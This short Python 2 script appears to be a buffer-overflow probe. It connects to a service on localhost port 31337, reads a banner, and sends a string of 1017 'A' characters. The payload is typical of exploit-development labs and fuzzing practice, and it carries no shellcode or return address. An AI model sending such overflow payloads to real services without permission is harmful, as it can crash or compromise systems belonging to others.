import socket               

s = socket.socket()        
host = "127.0.0.1" 
print host
port = 31337                
data = "A"*1017
s.connect((host, port))
print s.recv(2048)

s.send(data)

print s.recv(2048)
